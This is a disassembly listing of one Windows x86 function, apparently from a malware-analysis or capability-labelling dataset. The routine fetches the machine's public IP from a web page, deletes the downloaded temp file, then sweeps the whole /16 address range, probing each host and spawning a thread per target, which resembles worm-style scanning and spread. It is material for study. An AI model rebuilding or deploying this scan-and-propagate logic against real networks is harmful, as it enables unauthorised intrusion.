Function at 0x409763
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 8], ax
cmp dword [ebp + 8], 2
jne 0x409783
push 0xffffffffffffffff
call fcn.00406e09
push 4
push 0
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
call fcn.00409246
test eax, eax
jne 0x40991d
cmp dword [ebp + 8], 2
jne 0x40990c
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.004024be
push eax
push 0x412310
push str._s_.8x.rar
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push str.resources_tools_getpublicip.shtml
push 0x50
push str.vbnet.mvps.org
call fcn.00405e02
cmp eax, 1
jne 0x40990c
and dword [ebp - 0x120], 0
and dword [ebp - 0x11c], 0
push 3
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004011a6
cmp eax, 1
jne 0x4098ff
and dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x1c4], eax
push str.ip__
push dword [ebp - 0x1c4]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
add eax, 6
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 6
je 0x4098ec
and dword [ebp - 0x12c], 0
and dword [ebp - 0x128], 0
push 0x40d05c
push dword [ebp - 0x124]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
push 0x40
push 0
lea eax, [ebp - 0x170]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x128]
inc eax
push eax
push dword [ebp - 0x124]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
push 0x8000
push 0
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 0
je 0x409918
cmp dword [ebp - 4], 0xffffffff
jne 0x40991d
jmp 0x409a64
mov eax, dword [ebp - 4]
and eax, 0xffff
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and eax, 0xffff0000
shr eax, 0x10
and eax, 0xffff
mov word [ebp - 8], ax
push 2
pop eax
mov word [ebp - 0x174], ax
jmp 0x40995a
mov ax, word [ebp - 0x174]
add ax, 1
mov word [ebp - 0x174], ax
movzx eax, word [ebp - 0x174]
cmp eax, 0xffff
jge 0x409a64
movzx eax, word [ebp - 0x174]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jne 0x40997d
jmp 0x409948
movzx eax, word [ebp - 0x174]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
or eax, dword [ebp - 0xc]
mov dword [ebp - 0x178], eax
push dword [ebp - 0x178]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xbb8
lea eax, [ebp - 0x1b8]
push eax
call fcn.00408cde
test eax, eax
jne 0x4099c5
jmp 0x409948
push 1
lea eax, [ebp - 0x1b8]
push eax
call fcn.00409135
cmp eax, 1
jne 0x4099dd
jmp 0x409948
cmp dword [ebp + 8], 2
jne 0x409a02
lea eax, [ebp - 0x1b8]
push eax
call fcn.00408554
cmp eax, 1
jne 0x409a02
push 2
lea eax, [ebp - 0x1b8]
push eax
call fcn.00409135
cmp dword [ebp + 8], 1
jne 0x409a5f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x1bc], eax
push 0
push 0
lea eax, [ebp - 0x1c0]
push eax
push 0x40965c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409948
leave
ret 4